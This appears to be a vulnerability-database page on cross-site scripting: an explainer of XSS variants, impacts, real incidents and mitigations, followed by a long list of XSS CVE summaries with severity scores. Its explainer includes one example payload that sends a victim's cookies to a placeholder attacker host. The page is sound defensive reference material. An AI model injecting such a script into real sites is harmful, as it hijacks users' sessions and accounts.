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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 1% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin pondol-carousel v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Pondol Carousel
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin photoxhibit v2.1.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Photoxhibit
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin photoxhibit v2.1.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Photoxhibit
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin parsi-font v4.2.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Parsi Font
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin page-layout-builder v1.9.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Page Layout Builder
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin new-year-firework v1.1.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress New Year Firework
NVD
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected XSS in wordpress plugin infusionsoft v1.5.11. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Infusionsoft
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin indexisto v1.0.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Indexisto
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin hero-maps-pro v2.1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Hero Maps Pro
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin heat-trackr v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Heat Trackr
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin hdw-tube v1.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Hdw Tube
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin hdw-tube v1.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Hdw Tube
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin forget-about-shortcode-buttons v1.1.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Forget About Shortcode Buttons
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Tooltip Glossary
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin e-search v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Esearch
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin e-search v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress E Search
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin defa-online-image-protector v3.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Defa Online Image Protector
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin anti-plagiarism v3.60. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Anti Plagiarism
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin ajax-random-post v2.00. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ajax Random Post
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in wordpress plugin admin-font-editor v1.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Admin Font Editor
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Pagure 2.2.1 XSS in raw file endpoint. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Pagure
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the advanced settings page in Fortinet FortiManager 5.x before 5.0.12 and 5.2.x before 5.2.3, in hardware models with a hard disk, and FortiAnalyzer 5.x. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortimanager Firmware +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

XSS in huge IT gallery v1.1.5 for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gallery
NVD
EPSS 3% CVSS 9.8
CRITICAL POC Act Now

XSS and SQLi in huge IT gallery v1.1.5 for Joomla. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS SQLi Gallery
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

XSS in filedownload v1.4 wordpress plugin. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Filedownload
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in HostScan Engine 3.0.08062 through 3.1.14018 in the Cisco Host Scan package, as used in ASA Web VPN, allows remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Hostscan Engine
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Cisco Unified Intelligence Center (CUIC) 8.5.4 through 9.1(1), as used in Unified Contact Center Express 10.0(1) through 11.0(1), allows remote attackers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Unified Contact Center Express +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Configuration Manager in IBM Sterling Secure Proxy (SSP) 3.4.2 before 3.4.2.0 iFix 8 and 3.4.3 before 3.4.3.0 iFix 1 does not enable the HSTS protection mechanism, which makes it easier for. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Sterling Secure Proxy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Cisco Videoscape Distribution Suite Service Manager (VDS-SM) 3.0 through 3.4.0 allows remote attackers to inject arbitrary web script or HTML via a crafted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Videoscape Distribution Suite Service Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in a test page in IBM Business Process Manager Advanced 8.5.6.0 through 8.5.7.0 before cumulative fix 2016.09 allows remote authenticated users to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Business Process Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in IBM 10x, as used in Multi-Enterprise Integration Gateway 1.x through 1.0.0.1 and B2B Advanced Communications before 1.0.0.5_2, allows remote authenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Multi Enterprise Integration Gateway +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in Drupal 8.x before 8.1.10 allows remote attackers to inject arbitrary web script or HTML via vectors involving an HTTP exception. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Drupal
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Business Process Editor in Red Hat JBoss BPM Suite before 6.3.3 allows remote authenticated users to inject arbitrary web script or HTML by levering. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Red Hat Jboss Bpm Suite
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM WebSphere Application Server (WAS) Liberty before 16.0.0.3 allows remote authenticated users to inject arbitrary web script or HTML via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Websphere Application Server
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in EMC ViPR SRM before 4.0.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Vipr Srm
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the web server in Aternity before 9.0.1 allow remote attackers to inject arbitrary web script or HTML via the (1) HTTPAgent, (2) MacAgent, (3). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Aternity
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Huawei Policy Center before V100R003C10SPC020 allows remote authenticated users to inject arbitrary web script or HTML via vectors related to "special. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Huawei Policy Center
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in AlienVault OSSIM before 5.3 and USM before 5.3 allows remote attackers to inject arbitrary web script or HTML via the back parameter to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Open Source Security Information And Event Management +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in the management interface in Huawei OceanStor ISM before V200R001C04SPC200 allows remote attackers to inject arbitrary web script or HTML via the loginName. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Huawei Oceanstor Ism
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the create user functionality in the policy admin tool in Apache Ranger before 0.6.1 allows remote authenticated administrators to inject arbitrary web. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity.

XSS Apache Ranger
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Web UI in the web portal in IBM Tealeaf Customer Experience before 8.7.1.8847 FP10, 8.8 before 8.8.0.9049 FP9, 9.0.0 and 9.0.1 before 9.0.1.1117 FP5,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Tealeaf Customer Experience
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Web UI in the web portal in IBM Tealeaf Customer Experience before 8.7.1.8847 FP10, 8.8 before 8.8.0.9049 FP9, 9.0.0 and 9.0.1 before 9.0.1.1117 FP5,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Tealeaf Customer Experience
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Security Privileged Identity Manager (ISPIM) Virtual Appliance 2.x before 2.0.2 FP8 allows remote authenticated users to inject arbitrary. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Security Privileged Identity Manager Virtual Appliance
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Spectrum Control (formerly Tivoli Storage Productivity Center) 5.2.x before 5.2.11 allows remote authenticated users to inject arbitrary. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

IBM XSS Spectrum Control +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.x through 4.5 CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary web script or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.x through 4.5 CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary web script or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.x through 4.5 CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary web script or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Safari Reader in Apple iOS before 10 and Safari before 10 allows remote attackers to inject arbitrary web script or HTML via a crafted web site, aka. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple Safari +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Fortinet FortiWan (formerly AscernLink) before 4.2.5 allows remote attackers to inject arbitrary web script or HTML via the IP parameter to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Fortinet +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Case Management application in EMC RSA Adaptive Authentication (On-Premise) before 6.0.2.1.SP3.P4 HF210, 7.0.x and 7.1.x before 7.1.0.0.SP0.P6 HF50,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Rsa Adaptive Authentication On Premise
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the web framework in Cisco IOx Local Manager in IOS 15.5(2)T and IOS XE allows remote attackers to inject arbitrary web script or HTML via a crafted URL,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple Cisco +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in EMC ViPR SRM before 3.7.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Vipr Srm
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Cross-site scripting (XSS) vulnerability in EMC ViPR SRM before 3.7.2 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Vipr Srm
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Pivotal Cloud Foundry (PCF) Ops Manager before 1.6.17 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloud Foundry Elastic Runtime
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Apps Manager in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.32 and 1.7.x before 1.7.8 allows remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Elastic Cloud Foundry Elastic Runtime
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in share.js in the gallery application in ownCloud Server before 9.0.4 and Nextcloud Server before 9.0.52 allows remote authenticated users to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Nextcloud Nextcloud Server +1
NVD GitHub
EPSS 8% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Microsoft Exchange Server 2016 Cumulative Update 1 and 2 allows remote attackers to inject arbitrary web script or HTML via a meeting-invitation request,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Microsoft Exchange Server
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the web-based management interface in Cisco Firepower Management Center before 6.1 and FireSIGHT System Software before 6.1 allows remote authenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Firesight System Software
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in IBM Rational Team Concert 6.0.1 and 6.0.2 before 6.0.2 iFix2 and Rational Collaborative Lifecycle Management 6.0.1 and 6.0.2 before 6.0.2 iFix2 allows. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Rational Collaborative Lifecycle Management +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Developer Tools (aka DevTools) subsystem in Google Chrome before 53.0.2785.89 on Windows and OS X and before 53.0.2785.92 on Linux allows remote. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Microsoft +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in WebKit/Source/platform/v8_inspector/V8Debugger.cpp in Blink, as used in Google Chrome before 53.0.2785.89 on Windows and OS X and before 53.0.2785.92 on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple Google +3
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Blink, as used in Google Chrome before 53.0.2785.89 on Windows and OS X and before 53.0.2785.92 on Linux, allows remote attackers to inject arbitrary web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Microsoft +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Blink, as used in Google Chrome before 53.0.2785.89 on Windows and OS X and before 53.0.2785.92 on Linux, mishandles deferred page loads, which allows remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Microsoft +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the AdminUI in HPE Operations Manager 9.21.x before 9.21.130 allows remote authenticated users to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Operations Manager
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in Action View in Ruby on Rails 3.x before 3.2.22.3, 4.x before 4.2.7.1, and 5.x before 5.0.0.1 might allow remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Rails Ruby On Rails +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the admin pages in dashbuilder in Red Hat JBoss BPM Suite 6.3.2 allow remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Red Hat Jboss Bpm Suite
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in the template-creation feature in Malware Information Sharing Platform (MISP) before 2.3.90 allow remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Malware Information Sharing Platform
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Let's PHP!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Simple Chat
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in ClipBucket before 2.8.1 RC2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Clipbucket
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in the web-based management interface on Cisco Small Business 220 devices with firmware before 1.0.1.1 allows remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cisco Small Business 220 Series Smart Plus Switches
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.0 through CR4, 4.5 through CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 5.0 before CR4 and 5.5 before CR1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.0 through CR4, 4.5 through CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.0 through CR4, 4.5 through CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 4.0 through CR4, 4.5 through CR5, 5.0 before CR4, and 5.5 before CR1 allows remote authenticated users to inject arbitrary. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 5.0 before CR4 and 5.5 before CR1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Web UI in IBM Connections 5.0 before CR4 and 5.5 before CR1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Connections
NVD
EPSS 0% CVSS 2.7
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in IBM Forms Experience Builder 8.5.x and 8.6.x before 8.6.3 allows remote authenticated users to inject arbitrary web script or HTML via crafted input to an. Rated low severity (CVSS 2.7), this vulnerability is remotely exploitable, low attack complexity.

IBM XSS Forms Experience Builder
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in IBM BigFix Platform (formerly Tivoli Endpoint Manager) 9.x before 9.1.8 and 9.2.x before 9.2.8 allows remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Bigfix Platform
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the user-profile biography section in DotNetNuke (DNN) before 8.0.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in Zimbra Collaboration before 8.7.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zimbra Collaboration Server
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in PHPVibe before 4.21 allows remote authenticated users to inject arbitrary web script or HTML via a comment. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Phpvibe
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in oauth_callback.php on Accellion Kiteworks appliances before kw2016.03.00 allow remote attackers to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

